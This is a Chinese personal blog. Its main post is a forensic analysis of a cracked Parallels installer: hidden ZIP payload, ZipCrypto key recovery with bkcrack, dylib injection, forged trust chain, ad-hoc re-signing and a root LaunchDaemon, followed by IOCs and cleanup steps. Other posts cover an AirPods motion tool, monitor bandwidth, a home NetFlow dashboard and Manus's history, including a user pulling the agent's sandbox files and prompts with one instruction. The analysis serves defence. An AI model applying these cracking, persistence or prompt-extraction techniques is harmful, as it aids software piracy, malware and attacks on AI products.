注册商	MarkMonitor（企业品牌保护）	—
DNS	AWS Route53	Cloudflare
证书	—	Google Trust Services 免费 DV

DV 证书只证明「有人控制这个域名」，不含任何组织身份。另外 .zip 是 2023 年才开放的 TLD，正因为容易和文件名混淆，一直是钓鱼高发区——服务端还把 shell 脚本的 content-disposition 设成了 filename="Installer.zip"。

疑点三：资源文件里藏了东西

app 的 Resources 目录有三个可疑文件：

$ file Resources/license.*
license.cert: RIFF (little-endian) data
license.db:   openssl enc'd data with salted password
license.dv:   ASCII text, with very long lines (65536)

$ head -c 32 Resources/license.cert | xxd
00000000: 5249 4646 4d5a 504b 0304 1400 0900 0800  RIFF MZ PK......
00000020: 1000 1c00 6c69 6263 6861 6e6e 656c 2e64  ....libchannel.d

RIFF 只是前 4 个字节的伪造头。跳过 6 字节，后面是标准的 ZIP 本地文件头（PK\x03\x04），第一个条目叫 libchannel.dylib。

解出来 38 个条目，但全部加密。

破开加密

检查加密算法：

flag_bits = 0x9
  bit0 加密       : True
  bit6 强加密/AES : False
  compress_type   : 8 (deflate)
→ ZipCrypto

用的是老式 ZipCrypto，对已知明文攻击不设防。而我手上恰好有完美的已知明文——载荷里的 pubkey 已经被安装到系统里了，就是 /Library/Application Support/Parallels/.pubkey。

唯一的麻烦是条目用 deflate 压缩，攻击需要压缩后的字节流。试着复现：

zip 中 pubkey: 原始=10955  压缩后=6416 (含12字节加密头)
→ 纯 deflate 流应为 6404 字节

  level 5: 6404 字节  ← 命中

zlib level 5 精确复现。剩下的交给 bkcrack：

1
2
3

[10:50:33] Z reduction using 6397 bytes of known plaintext
[10:50:34] Keys
e0504b59 713c572f 8e942412

一秒出密钥，38 个条目全部解开。

`certs/` 里不是证书

这是整件事最关键的发现。

载荷里有个 certs/ 目录，32 个文件，每个 868–1456 字节，文件名是 16 位十六进制。看着像证书，解开却是：

1
2
3

$ head -c 48 certs/11a992dc882b08de | xxd
00000000: 5041 4745 5a45 524f 4301 0000 0000 0000  PAGEZERO C......
00000020: 425a 6839 3141 5926 5359 fbe0 608d 0001  BZh91AY&SY..`...

PAGEZERO 是 Mach-O 的段名，后面跟着 bzip2 流。解压每个流：

1
2
3

流 ① →     1,128 字节   补丁偏移表
流 ② → 32,148,835 字节   稀疏数据 = 重新计算好的代码签名页哈希表
流 ③ →       669 字节   目标标识: channel.cert_p-55554944...

（55554944 就是 ASCII 的 UUID。）

扫描全部 32 个文件：

文件名              段名        目标                        解压总量
11a992dc882b08de   PAGEZERO   channel.cert_p-5555…       32,150,632
1b64b8c4e313fd17   PAGEZERO   upportchannel.cert_p-…     81,515,336
2426ed818d7b6e77   PAGEZERO   channel.cert_1014_p-…      17,857,160
...
涉及目标: channel.cert / upportchannel.cert / channel.cert_1014

这 32 个文件，是为 32 个不同 Parallels 版本预先算好的「二进制补丁 + 代码签名页哈希表」。

这直接解释了我之前最大的困惑：为什么能小版本升级？不是因为授权合法，而是作者把 32 个版本的补丁全部提前做好了。

破解原理

到这里机制已经完全清楚。

核心就一句话：把「向 Parallels 服务器证明你有授权」替换成「向破解自己提供的信任锚证明」。

具体分四层：

第一层：dylib 注入

Mach-O 头部有一串 LC_LOAD_DYLIB，列出程序依赖哪些动态库，dyld 启动时会全部加载。破解在末尾追加了一条：

$ otool -l prl_client_app | grep -c 'cmd LC_LOAD_DYLIB'
106

   105   /usr/lib/libobjc.A.dylib
   106   /Library/Application Support/Parallels/channel.cert   ← 最后一条

追加在所有原始依赖之后，是 dylib 注入的典型特征。而 channel.cert 其实是个 dylib，改名只为在目录里看起来像证书：

$ file channel.cert
Mach-O universal binary: [x86_64:dynamically linked shared library] [arm64]
$ otool -L channel.cert | head -2
/usr/local/lib/libchannel.dylib (current version 27.0.1)
/System/Library/Frameworks/CFNetwork.framework/...

它的加载时入口：

1	sectname __mod_init_func size 0xd0 ← 208 字节 = 26 个构造函数指针

__mod_init_func 里的函数在 dylib 被加载时自动执行，早于 main()——程序自己的代码还没开始跑，钩子已经装好了。

第二层：函数挂钩

Parallels 用 Qt 编写，授权校验走 Qt 网络栈。这个 dylib 正好链接了 QtNetwork、QtCore、Security、CFNetwork。构造函数在 main() 前改写导入表，把校验相关调用重定向到自己的实现。

具体 hook 了哪些函数看不到——它上了商业级保护壳：

$ nm -u channel_arm64.dylib | wc -l
5748                              # 5748 个导入符号
$ nm -u channel_arm64.dylib | head -1
0��LMk=���T��Nx/���ȩ...          # 名字全是密文

$ otool -l channel_arm64.dylib | awk '/sectname/{print}'
  sectname                        # 节名被抹空
  sectname
  sectname __gcc_except_tab

第三层：伪造信任锚

授权数据是签名的，程序会验签。破解装了一条 4 级证书链作为 .pubkey：

desktop.parallels.com
  ← Parallels Desktop CA
    ← Paralels Issuing CA #1
      ← Parallels External root CA

配合加密的 licenses.db，伪造的授权用这条链验签自然通过。

第四层：重签名（死穴所在）

只要改动 Mach-O 哪怕一个字节，原签名即失效，macOS 拒绝加载。 所以必须重签。但破解没有 Parallels 的私钥，只能用 adhoc 签名。

这条约束是物理性的、绕不过去的，它直接产生了全部可观测证据：

Signature=adhoc、TeamIdentifier=not set
spctl 判定 rejected
安装脚本必须 xattr -cr

反过来说：「adhoc 签名」本身就是「这个程序被改过」的铁证，不需要任何额外推理。

而重算签名很贵——prl_client_app 有 60 MB，要逐页做 SHA256。所以作者提前算好，打包成 certs/ 里那 32 个文件，安装时按版本查表直接套用。

持久化

Parallels 升级会用原厂文件覆盖被打过补丁的文件，破解就失效了。所以还需要一个常驻进程：

$ plutil -p /Library/LaunchDaemons/com.parallels.certificate.plist
{
  "Label"            => "com.parallels.certificate"
  "ProgramArguments" => ["/Library/Application Support/Parallels/Parallels Certificate"]
  "UserName"         => "root"
  "RunAtLoad"        => true
  "KeepAlive"        => { "Crashed" => true, "SuccessfulExit" => false }
}

root 权限、开机自启、崩溃重拉。.data/{.c,.d,.v} 里备份的 107 MB 原始二进制，就是它做差分补丁的基准。

为什么这套能成功

三个前提缺一不可：

/Applications 和 /Library/Application Support 不受 SIP 保护（SIP 只锁 /System、/usr 等）
安装时用户授予了管理员权限
Parallels 没有有效的运行时自检——或者说自检代码和注入的 dylib 在同一个进程里，已经被绕过

杀软怎么说

Avira 的检测记录库（activitylog.db，全局可读）里翻到了判定名：

$ sqlite3 activitylog.db "SELECT datetime(timestamp,'unixepoch','localtime'), arg1, arg2
                          FROM log WHERE arg2 LIKE '%OSX%' ORDER BY timestamp;"

2026-08-18 13:39:15 | LicenseInstaller      | TR/OSX.Stealer.IW
2026-08-18 13:41:02 | Parallels Certificate | TR/OSX.Stealer.IW
2026-09-13 16:05:36 | LicenseInstaller      | TR/OSX.Stealer.IW
2026-09-13 16:06:48 | Parallels Certificate | TR/OSX.Stealer.IW

TR/ = 木马，Stealer = 信息窃取。不是 PUA / Riskware / Crack 那一类。

两点必须说明：

单一厂商的检测名是信号不是铁证。不过 .IW 是具体变种签名，不是 TR/Malware 那种兜底桶。
我的静态分析没能看到窃密行为：无明文 URL、无外联连接、无监听端口。但该二进制字符串表与符号表全部加密，我无法排除运行时解密后的行为。

有个细节值得注意：Avira 会在文件落盘瞬间删掉安装器（连 shasum 都读不到，报 Operation not permitted），但已经落地的 root 守护进程和注入的 dylib 一直原封不动躺在盘上。

也就是说，你看到的报毒是针对 Downloads 里的安装器残留，不是针对正在生效的载荷。只删 Downloads 那个文件夹，报警会消失，但 root daemon 和 dylib 还在。

万幸的一点：这台机器自 9/13 安装后一直没重启，RunAtLoad 从未触发。

$ ls /var/log/certificate.log
No such file or directory              # StandardOutPath 从未被创建

$ log show --predicate 'process == "launchd" AND eventMessage CONTAINS "parallels.certificate"'
(空)                                    # launchd 从未加载过它

那个被判为 Stealer 的 root 组件一次都没执行过——但一重启就会首次以 root 运行。所以清理必须赶在重启前。

那个激活码到底是真是假

1 2	$ prlsrvctl info \| grep License License: state='valid' key='4BYWP3-XXXXXX-XXXXXX-XXXXXX-XXXXXX' restricted='false'

key 是 30 位、5 组 × 6 位，符合 Parallels 官方规范，说明卖家给的不是随手编的字符串。

但 state='valid' 完全不能采信——报出这句话的 prlsrvctl 属于那个被打了补丁的 app，而注入的 dylib 劫持的正是授权校验路径。等于让嫌疑人自证清白。

从这台机器上，永远问不出这个 key 是真是假。 唯一的判定方法是：卸干净，装官方版，输入这个 key。

激活成功 → key 是真的（但来源仍可能有问题，后续可能被吊销）
提示无效 → key 只是个道具，让交易看起来像正经买卖

不过这个问题其实已经不重要了。整套机制里没有任何一环与 Parallels 服务器发生真实交互——哪怕你的 key 百分之百是正版，你装的这个程序也已经被第三方改过了。授权的合法性和二进制的完整性，是两件独立的事。

怎么自查

如果你也在第三方渠道买过 Parallels 授权，三条命令就能判断：

1	codesign -dv /Applications/Parallels\ Desktop.app 2>&1 \| grep -E 'Signature\|TeamIdentifier'

正常应该显示 Authority=Developer ID Application: Parallels International GmbH 和一个 Team ID。如果是 Signature=adhoc / TeamIdentifier=not set，已经被改了。

1	ls -la /Library/LaunchDaemons/ \| grep -i parallels

正版不会有 com.parallels.certificate.plist 这种东西。

1	otool -L /Applications/Parallels\ Desktop.app/Contents/MacOS/prl_client_app \| grep -i 'Application Support'

主程序不应该依赖 /Library/Application Support/ 下的任何动态库。

清理

sudo launchctl bootout system/com.parallels.certificate 2>/dev/null
sudo rm -f /Library/LaunchDaemons/com.parallels.certificate.plist
sudo rm -rf "/Library/Application Support/Parallels"
sudo rm -rf "/Applications/Parallels Desktop.app"

虚拟机文件在 ~/Parallels/，不受影响，重装官方版后可直接使用。

IOC

域名

1
2
3

download.parallels.zip
cert.parallels.zip
cdn.parallels.zip

文件哈希（SHA256）

20bcb7fbab3cf3a268585df02e14ddbd2e76a3d795a51c6395e88b60b8185c38  LicenseInstaller
584b7a8a67d8bce45794e9fc15d4551639eae0ca754285a2942149b8b63362d7  Parallels Certificate
30288fe7a35511e6601871bf0196d9294a6cdd83fdf312fcca8fc1c9800ed029  channel.cert
a4b2f2bb07fdf6013456d6ea680233b7cbc798013a142cd5cc6f220735991e62  install.sh

落地路径

/Library/LaunchDaemons/com.parallels.certificate.plist
/Library/Application Support/Parallels/Parallels Certificate
/Library/Application Support/Parallels/channel.cert
/Library/Application Support/Parallels/.pubkey
/Library/Application Support/Parallels/.data/{.c,.d,.v}
~/Downloads/LicenseInstaller/

检测名

1	Avira: TR/OSX.Stealer.IW

结论

买到的不是「企业版授权」，是一个破解包加一个格式正确的激活码。激活码大概率只是让交易看起来像正经买卖的道具——真正让软件能用的，是那个 root 守护进程和注入进程的 dylib。

几点教训：

第一，curl | bash 之前先把脚本下下来看一眼。 就多一步的事，这次的脚本里那行 xattr -cr 单独拎出来就足够定性。

第二，域名里包含品牌名 ≠ 官方域名。 .zip、.app 这类新 TLD 尤其要警惕，它们天然容易和文件名混淆。真官方域名一般用 MarkMonitor 这类企业品牌保护注册商，whois 里能查到公司名。

第三，macOS 上判断一个 app 是否被动过，codesign + spctl 两条命令就够了。 二进制补丁必然破坏签名，这是绕不过去的物理约束——无论破解做得多精致，adhoc 签名这个尾巴藏不住。

第四，杀软报毒后别只删报出来的那个文件。 这次 Avira 秒删安装器，却对已经落地的 root 守护进程无动于衷。真正危险的组件往往不是被报出来的那个。

至于 120 块——就当买了个样本，写了篇文章。

本文为个人设备上的安全取证记录。文中的分析方法（静态分析、已知明文攻击）均为公开的标准手段，用于理解自己机器上运行的是什么。相关样本未作传播。

博客上线了

2026-09-14T10:00:00.000Z

用 Hexo + Butterfly 搭的，托管在 GitHub Pages 上。

为什么搭这个

平时折腾的东西不少——写点小工具、修修家里的设备、给自己造些没人需要的轮子。
做完就散在各处，过阵子连自己都想不起当时是怎么弄的。

开个博客，把踩过的坑和做出来的东西留个底。主要写给未来的自己看。

技术栈

框架：Hexo —— Node.js 的静态博客生成器
主题：Butterfly
托管：GitHub Pages，免费 + 自带 HTTPS

打算写什么

自己做的小东西，和做的过程
折腾家里软硬件的记录
一些踩坑，以及后来是怎么爬出来的

先立个 flag，慢慢填。

AirPods 里藏着一个陀螺仪

2026-09-14T08:00:00.000Z

空间音频听起来很魔法：你转头，声音的方向不跟着转，像是真有个音响立在房间某处。

能做到这件事，是因为耳机知道你的头朝哪边。AirPods 里装着一整套惯性测量单元——加速度计、陀螺仪，实时算出你的头部姿态。

那些数据是公开可读的。于是我写了个小工具，把它显示出来。

它做什么

打开 app，点「开始」，屏幕中央会出现一个 3D 人头。你怎么动，它怎么动。

从左到右：正面 · 低头 · 左转 · 歪头 · 三轴组合

顶部显示采样率和累计帧数。下面列着实时读数：

读数	含义
Pitch 俯仰	抬头 / 低头
Roll 侧倾	左右歪头
Yaw 偏航	左右转头
用户加速度	已扣掉重力，静止时接近 0
角速度	rad/s

没别的功能。它就是个窗口，让你看见耳机一直在看的东西。

一件有意思的事：偏航会漂

坐着别动，盯着 Yaw 那一栏看几分钟，你会发现它在缓慢地、单向地爬。

不是你在动，是陀螺仪在漂。

俯仰和侧倾不会，因为重力是个永远在那儿的参照物——耳机随时能拿它校准”哪边是下”。但左右转头这个方向，重力帮不上忙。手机靠磁力计（也就是指南针）解决这个问题，而 AirPods 没有磁力计。

所以偏航只能靠陀螺仪一点点累积角速度推算，误差也就一点点累积。

我做了个工具专门量它：按 ⌘D，戴着耳机静置三分钟，它会告诉你三个轴各自漂多快（°/min）。俯仰和侧倾的读数可以当对照组——如果它俩几乎不动，而偏航在持续单向爬升，那个爬升就是零偏。

⚠️ 测的时候别摘耳机。耳机一离耳，运动数据流立刻断掉。

这也是为什么要有「重设零点」这个功能（⌘K）。用着用着觉得人头朝向歪了，按一下，把当前朝向重新定义成正前方。

校准

首次使用建议跑一遍引导校准（⇧⌘K）。四步，每步都要你手动确认，程序不会自己往下走：

步骤	动作
1	坐正看向屏幕（3 秒倒计时，结束时的朝向记为零点）
2	慢慢低头看键盘
3	慢慢把头转向左边
4	把头歪向右肩

后三步只要幅度到位、保持一秒就行，屏幕上有进度条。结果会存下来，下次启动自动沿用。

按 Esc 随时可以退出。

怎么装

1
2
3

git clone https://github.com/zhangwenqiang0214/airpods-motion.git
cd airpods-motion
./build.sh

然后从访达双击 AirPodsMotion.app 启动。

⚠️ 别在终端里运行。macOS 的权限系统会把终端认作发起方，而终端没有声明运动权限，进程会被直接杀掉。这个行为挺隐蔽的——没有报错，就是启动不了。

第一次点「开始」会弹窗问「想要访问运动与健身数据」，选允许。不想给了随时可以在系统设置 › 隐私与安全性 › 运动与健身里撤销。

环境要求

macOS 14 或更新
支持头部追踪的 AirPods——Pro / Max / 第三代及以后，老款没有这套传感器
Xcode 命令行工具（编译用）

关于数据

读到的姿态数据只在内存里。不落盘，不上传，不发给任何人。关掉 app 就没了。

这本来是句废话，但现在不说清楚好像不行。

技术

Swift + SwiftUI + SceneKit，零第三方依赖。数据来自 CoreMotion 的 CMHeadphoneMotionManager——苹果开的口子，正经 API，不是什么黑魔法。

代码在 github.com/zhangwenqiang0214/airpods-motion。

写它没什么实用目的。只是觉得，一副耳机里藏着能感知你怎么转头的东西，这件事本身值得看一眼。

144Hz 的显示器，为什么只能跑 133Hz

2026-09-07T12:00:00.000Z

买了块 2K 144Hz 的显示器，接上 MacBook，打开系统设置——刷新率那一栏最高只有 133Hz。

不是 144，也不是 120，是 133。这个数字很奇怪，奇怪到不像是厂商会标的规格，倒像是某个地方算出来的余数。

它确实是算出来的。

先确认屏幕没被冤枉

第一件事是排除「这屏本来就不是 144Hz」。

显示器会把自己的能力写在 EDID 里，交给电脑读。解开它的基础块，第一条 detailed timing descriptor 写着：

首选时序   2560 x 1440 @ 60Hz
像素时钟   241.70 MHz
总时序     2720 x 1481
刷新范围   48 – 144 Hz
最大像素时钟  600 MHz

屏幕很清白：它确实是 2560×1440 的原生面板，支持到 144Hz，自己能吃下 600MHz 的像素时钟。

顺便说个容易被骗的地方：macOS 的 ioreg 里有个 NativeFormatHorizontalPixels 字段，看起来像是在告诉你面板的物理分辨率。它不是。这块屏在那里报的是 1920x1080——那读的是 CTA-861 扩展块里 VIC 16（1080p60）上置的 native 标记位，是给 HDMI 电视用的格式标记。判断面板原生分辨率，要去解 EDID 基础块的第一条 detailed timing descriptor。

瓶颈在半路上

屏幕没问题，那问题在中间这段路。

链路是这样的：MacBook Air M4 → USB-C 拓展坞（DP alt mode）→ HDMI → 显示器。

macOS 自己记着这条链路能跑多快，藏在 DisplayHints 里：

1	MaxTotalPixelRate = 537,300,000

537.3 MHz。 屏幕能吃 600MHz，链路只给 537.3MHz。

一道小学算术

像素时钟怎么算？把总时序的宽、高、刷新率乘起来就行——注意用总时序（2720×1481），不是可见分辨率，因为消隐区那些看不见的像素也要占时间。

1 2	144Hz → 2720 × 1481 × 144 = 580.1 MHz 占链路上限的 108% ❌ 133Hz → 2720 × 1481 × 133 = 535.8 MHz 占链路上限的 99.7% ✅

答案出来了。144Hz 需要 580.1MHz，超出链路上限 8%，塞不进去。而 133Hz 是 535.8MHz——刚好是 537.3 的 99.7%。

macOS 没有保守地退回 120Hz，而是精确地挑了那个还能塞得下的最大值，一格不浪费。

所以 133 这个数字既不是厂商标的，也不是随便截的。它是「在这条链路上能跑的最快速度」。

为什么坞只给这么点带宽

USB-C 口里的线是有限的。拓展坞要同时管视频和 USB 3.0，就把 4 条高速通道劈成两半：2 条给 DisplayPort，2 条给 USB。

视频只剩一半的路，带宽自然对半砍。如果是 USB-C 直连显示器、4 条通道全给 DP（HBR3），带宽预算大约在 1080MHz——580MHz 轻轻松松，144Hz 随便跑。

一句话：你为了插 U 盘，付出了 11Hz。

顺便说个反直觉的：降刷新率不会让坞凉快

133Hz 占满了链路的 99.7%，坞长期在满负载工作，摸上去一直是温的。很自然会想：把刷新率降下来，是不是就凉了？

我测了。读 AppleSmartBattery 里的 PowerOutDetails.Watts（Mac 经 VBUS 供给坞的功率），每档取 10 个样本：

刷新率	供电功率
133Hz	3237 mW
120Hz	3310 mW
60Hz	3129 mW

极差只有 181mW（5.6%），而且不随刷新率单调变化——120Hz 反而比 133Hz 还高一点。这就是噪声。

所以别为了降温去调刷新率，纯属白忙。

坞的热来自别的地方。 把 USB 树展开看一眼，这个”只插了键鼠接收器”的坞里其实常驻着：两级 GenesysLogic USB 3.1 Hub、两级 USB 2.1 Hub、一块 ASIX AX88179B 千兆网卡、一个 USB 3.0 读卡器、一颗 ITE BillBoard 芯片。

网卡和读卡器是焊在里面的——你不插网线、不插卡，它们照样枚举，照样耗电。坞是总线供电，Mac 给它约 3W，这 3W 全散在一个小金属壳里。烫是必然的，跟你开多少赫兹没关系。

那怎么才能真的跑满 144Hz

绕开拓展坞。

如果你的 Mac 还有空着的 USB-C 口（比如充电走了磁吸），拿一根 USB-C → DP 线从空口直连显示器。4 条通道全给视频，带宽预算翻一倍，580MHz 不在话下。顺带坞里那颗转换芯片彻底停工，也能凉一点。

代价是多一根线。但换来 11Hz 和一个不烫手的坞，我觉得划算。

一点题外话

整件事里最有意思的地方，是 133 这个数字本身。

它看起来像个 bug，像某个程序员随手写的魔法数字。但把总时序、链路上限、刷新率三个数摆在一起算一遍，它就变成了一个必然的结果——系统在你看不见的地方做了一道除法，然后老老实实取了整。

很多看起来莫名其妙的限制，拆开看都是这样：不是谁偷懒，是物理定律在某个地方划了条线。

家里的网络在往哪儿跑，我做了块大屏看着

2026-08-21T13:00:00.000Z

家里有多少台设备在联网？它们在跟谁说话？哪些流量出了国？

路由器后台能告诉你「谁用了多少流量」，但说不出去了哪儿。想知道这个，得把每一条连接都记下来。

于是有了这块大屏。

🛰️ 整套配置已开源：github.com/zhangwenqiang0214/home-netflow-dashboard

它长什么样

十一个面板，一屏看完：

国内 / 国外流量占比 —— 一个饼图，比想象中更有信息量
上行 / 下行方向 —— 谁在传，谁在收
流量时序曲线 —— 一天里哪个时段最忙
设备 TOP —— 家里哪台机器最能吃
出境 IP TOP —— 出了国的流量具体去了哪些地址
端口 TOP —— 走的什么协议

打开它最直观的收获，是看见了很多你不知道在联网的东西。智能音箱、电视盒子、某个插座——它们都在安静地跟外面说话，而且比你想的勤快。

数据是怎么流过来的

    flowchart LR  subgraph H["家里"]    R["路由器softflowdNetFlow v9 · 1:64 采样"]  end  subgraph C["云服务器"]    G["goflow2"] --> K["Kafka"] --> D[("ClickHouse")]  end  R -- "UDP :2055" --> G  D --> V["Grafana 大屏"]  style R fill:#eef3f5,stroke:#5b8291  style D fill:#f7f0e6,stroke:#c08552  style V fill:#f7f0e6,stroke:#c08552

路由器这端跑 softflowd，监听内网桥接口。它不复制流量内容，只记录「谁跟谁、走哪个端口、传了多少字节」这样的元数据，然后按 NetFlow v9 格式发出去。

采样率设的 1:64——每 64 个包记一个。家用路由器的 CPU 很金贵，全量记录会把它拖垮，而看趋势并不需要全量。

云端用 goflow2 收，塞进 Kafka 缓冲，落到 ClickHouse。ClickHouse 是列式数据库，这种「一亿行、只查几列、要聚合」的场景正是它的主场。

Grafana 负责把它画出来。

怎么知道一个 IP 是不是国内的

这是整件事里最实用的一环。

大屏上「国内 / 国外」的划分，靠的是一张中国 IP 段字典——7456 条网段，加载成 ClickHouse 的 IP_TRIE 结构。查一个 IP 属不属于中国，就是一次前缀树查找，快到可以忽略。

1	dictHas('dictionaries.china_ip', src_addr)

数据来自公开维护的 china_ip_list。不需要任何商业 IP 库，也不需要注册 key。

想在地图上标出流量去了哪个国家的话，就需要 GeoIP 数据库了（比如 MaxMind GeoLite2，免费但要注册）。我暂时没上，因为「国内/国外」这一刀已经回答了我 80% 的疑问。

几个当时想明白的事

采样不丢失真相。 1:64 听起来很粗，但流量分布是长尾的——真正的大流量会被反复采到，小流量本来也不重要。看趋势和占比，采样完全够。

元数据比内容更有用。 我不需要知道某台设备传了什么，只需要知道它「凌晨三点还在跟境外某个 IP 持续通信」。后者才是异常信号，而且不用碰任何隐私内容。

别让监控系统影响被监控的对象。 softflowd 跑在路由器上，内存和 CPU 都要省着用；重活全放到云端。家里的网卡了，再漂亮的大屏也没意义。

开源了

整套东西放上去了：github.com/zhangwenqiang0214/home-netflow-dashboard

包含 docker-compose、ClickHouse 建表与视图、Grafana 大屏 JSON、路由器侧脚本，以及那份中国 IP 段字典。MIT 协议。

整理的时候顺手做了两件事。

一是把踩过的坑写进 README。比如 Grafana 千万别用 latest——它启动时会联网更新自带插件，网络不畅就一直卡着，HTTP 端口永不就绪，表现是”容器起来了但页面打不开”。这个坑当时找了很久，现在锁版本 + 关掉插件预装的配置直接写进 compose 了。

二是把设备清单换成了示例数据。原来那个 devices.csv 里是我家 19 台设备的 MAC 地址、内网 IP 和名字——摄像头、音箱、每个人的手机、NAS。那是一份完整的家庭画像，绝不能公开。仓库里现在是虚构的示例，MAC 用的是文档保留段，真实文件写进了 .gitignore。

做这类自建监控，最容易忽略的就是：你收集的数据本身，就是最该保护的东西。

一点感受

装完之后我盯着那块屏看了很久。

平时”上网”是个很抽象的词——你点一下，东西就出来了。而这块屏把它变具体了：几十条连接同时存在，有的一闪而过，有的持续几个小时；有些去了你认识的地方，有些去了你完全不知道的地方。

家里这张网一直都这么热闹，只是以前没人看着它。

一封删库通知背后的四年：Manus 的暴富、出走、卖身与被夺回

2026-08-16T02:00:00.000Z

起因是一封邮件。2026 年 8 月中旬，Manus 给用户群发了一封标题为 “ACTION REQUIRED: 7 days left to back up … for future restoration” 的信，通知在 2025 年 12 月 29 日之后产生的部分数据将在 8 月 23 日 08:00（新加坡时间）起被删除，服务将于 8 月 25 日 08:00 恢复——“Manus 将很快恢复以独立公司的形式运营”。
一家公司要”恢复独立”，意味着它此前不独立；一家公司要删掉自己用户从某个特定日期起产生的所有数据，那个日期通常是某笔交易的交割日。这封邮件里的每一个措辞都是被律师改过的，而它省略掉的部分，是过去 18 个月里中美科技监管史上最离奇的一桩案子。
本文所有事实均标注来源。传闻与未经证实的部分单独列出，不与实锤混写。

一、邮件里的三个日期

先把这封邮件当成一份取证材料来读。

它给了三个时间点：2025 年 12 月 29 日（数据开始受影响的起点）、2026 年 8 月 23 日 07:59 SGT（备份截止）、2026 年 8 月 25 日 08:00 SGT（服务恢复）。它给的理由是”为遵守特定司法辖区的监管要求”（to comply with regulatory requirements in specific jurisdictions），并且强调 “This is unavoidable”。

2025 年 12 月 29 日，是 Meta 收购 Manus 的交割日（CNBC，2025 年 12 月 30 日）。也就是说，Manus 要删的，正是”在 Meta 名下这 8 个月里”产生的全部用户数据。Manus 官方在帮助中心里明确写了这不是安全事件（”This is not a security incident”，Manus Help Center），公开信见 Manus 官方博客《A Note to Our Users》，以及第一财经的中文报道。

一笔已经交割、已经完成人员和系统整合的跨境并购，被要求原样退回去——退回去到什么程度？连并购期间产生的数据都要抹掉，因为这些数据在法律上”曾经属于一家美国公司”。这在全球并购史上极其罕见。

要理解这封邮件，得从四年前一个在武汉做微信插件的年轻人讲起。

二、序章：两个 1992 年出生的人

Manus 这家公司真正的名字叫蝴蝶效应（Butterfly Effect），产品线上还有一个更早、更赚钱的东西叫 Monica。

肖弘，1992 年生于江西吉安，2015 年毕业于华中科技大学，毕业后留在武汉创业（新浪财经）。他的第一段创业是极其”中国式”的务实路线：做微信生态的 SaaS 工具——壹伴助手（公众号排版运营）和微伴助手（企业微信 SCRM），公司叫夜莺科技。这两个产品不性感，但现金流健康，养活了团队，也让他在 2022 年 ChatGPT 发布前两个月就掉头开始做 AI（澎湃/知乎整理）。

季逸超（Peak），同样 1992 年生，北京人，北大附中、北京信息科技大学，父亲是北大物理系教授。他 16 岁写出猛犸浏览器，拿过 Macworld Asia 特等奖，定价 1.99 美元，三天下载 12 万次；2012 年拿到徐小平和红杉的投资创立 Peak Labs，是中国最早一批被媒体反复报道的”90 后天才少年”（创业邦重发的十二年前旧文、季逸超百度百科）。

一个是打法凶狠的产品型连续创业者，一个是被资本追了十几年的技术天才。2026 年 3 月，这两个人的名字会一起出现在一份”限制出境”的报道里——但那是后话。

三、2022–2024：靠”套壳”活成现金牛

蝴蝶效应真正的第一桶金，是 Monica：一个浏览器插件，把 GPT-4、Claude、后来还有 DeepSeek 等模型缝进用户的浏览器，做聊天、翻译、写文案、生成图片。

Monica 的增长方式很能说明肖弘的风格：2023 年，它直接收购了独立开发者的产品 “ChatGPT for Google”，用买流量的方式完成用户跃迁，海外用户规模突破 700 万（新浪财经）。

这里出现了后来贯穿全篇的第一个关键词：套壳。Monica 从第一天起就被骂套壳——它不训模型，它只是把别人的模型包装成用户愿意付钱的界面。有中文媒体后来给了个精准的标题：”Manus 背后的华人团队：套壳到极致，就是胜利“。

两年内四轮融资，估值从 1400 万美元涨到接近 5 亿美元，早期投资方包括真格基金、红杉中国（HSG）、腾讯（36氪）。2024 年 11 月的 A 轮由腾讯和红杉中国领投，真格和王慧文跟投（新浪财经）。

请记住这张股东名单：腾讯、红杉中国（HSG）、真格。18 个月后，正是这三家把公司从 Meta 手里买了回来。

四、2025 年 3 月 6 日：被神话的 24 小时

2025 年 3 月 5 日深夜到 6 日，蝴蝶效应发布了 Manus 的内测预览版，定位是”全球首款通用 AI Agent”。发布视频演示了它自动筛简历、做股票分析、写研究报告，20 小时内播放量超过 100 万（Wikipedia: Manus (AI agent)）。

然后是那场著名的邀请码狂欢。

Manus 采用邀请码制，官方免费发放，但市场瞬间失控：闲鱼和各类电商、社交平台上，邀请码被炒到 5 万到 10 万人民币（约 7000–13800 美元）（Wikipedia、新浪科技《邀请码炒到10万！Manus真”颠覆”还是真”炒作”？》）。《华尔街日报》报道的数字更保守，称邀请码转售价超过 1000 美元。官方随后出面澄清：从未开设任何付费获取渠道，邀请码是免费的，呼吁理性参与（AIbase）。

超过 350 万人申请了内测资格（The AI Rankings 汇总）。当时中文舆论场普遍的说法是”DeepSeek 之后的第二个国运时刻”。

冲突在第一天就埋下了。质疑者的观点非常直接：一个连自己模型都没有的产品，凭什么？而支持者的回答同样直接：用户不关心谁做的模型，用户关心谁把活干完了。

这场狂欢里有一个几乎没人注意的细节：Manus 从发布起主界面就是英文，且从未在中国大陆完成大模型备案。有媒体在 3 月 10 日就提出，Manus 若使用未在境内备案的境外大模型产品、自身也无备案，严格说在中国境内是不合规的（36氪《Manus 或面临备案监管问题》）。一家中国团队做的产品，从诞生第一天起，法律上就不属于中国市场。这个”先天缺陷”，将在 12 个月后变成整件事的核心矛盾。

五、被”越狱”的那三天

爆红后的第四天，出事了。

2025 年 3 月 10 日，一位 X 用户 jian 声称只用一条简单指令，就让 Manus 输出了沙盒里 /opt/.manus/ 目录下的文件，拿到了运行时代码、工具链和完整的提示词框架。结论是：Manus 跑在 Claude Sonnet 上，配了 29 个工具，并没有实现所谓的多智能体架构（腾讯云开发者社区、21世纪经济报道《Manus 底层解码：”套壳”下的创新”越狱”》）。

这次”越狱”最有意思的不是泄露本身，而是季逸超的回应姿态：他公开表示用户本来就可以直接访问沙盒，每个会话都是隔离沙盒，代码只做了轻度混淆，因为它只负责接收指令（同上来源）。翻译成人话——这不是被黑，这是设计如此。

从安全从业者的角度看，这个回应其实是站得住的：单会话隔离沙盒、代码在客户可控执行环境内、无高价值秘密驻留，威胁模型本身就不假设沙盒内容保密。但在舆论场上，”被扒出跑的是 Claude” 这一条盖过了一切技术辩解。

紧接着是更狠的一击：MetaGPT 团队的 5 个人，用 3 个小时做出了开源版 OpenManus，不需要邀请码，支持本地部署（澎湃新闻）；CAMEL-AI 团队随后放出 OWL。”三小时复刻”成了那一周中文互联网最流行的梗，也成了套壳论最有力的弹药。

Manus 的应对是三天后的一次外交式操作：3 月 11 日，宣布与阿里通义千问团队达成战略合作，称将基于通义千问系列开源模型，在国产模型和算力平台上实现 Manus 的全部功能（新浪财经、新浪科技）。

这一步在当时被解读为”回应套壳质疑 + 铺路国内版”。事后看，它是 Manus 与中国产业绑定最深的一次公开动作——也是最后一次。

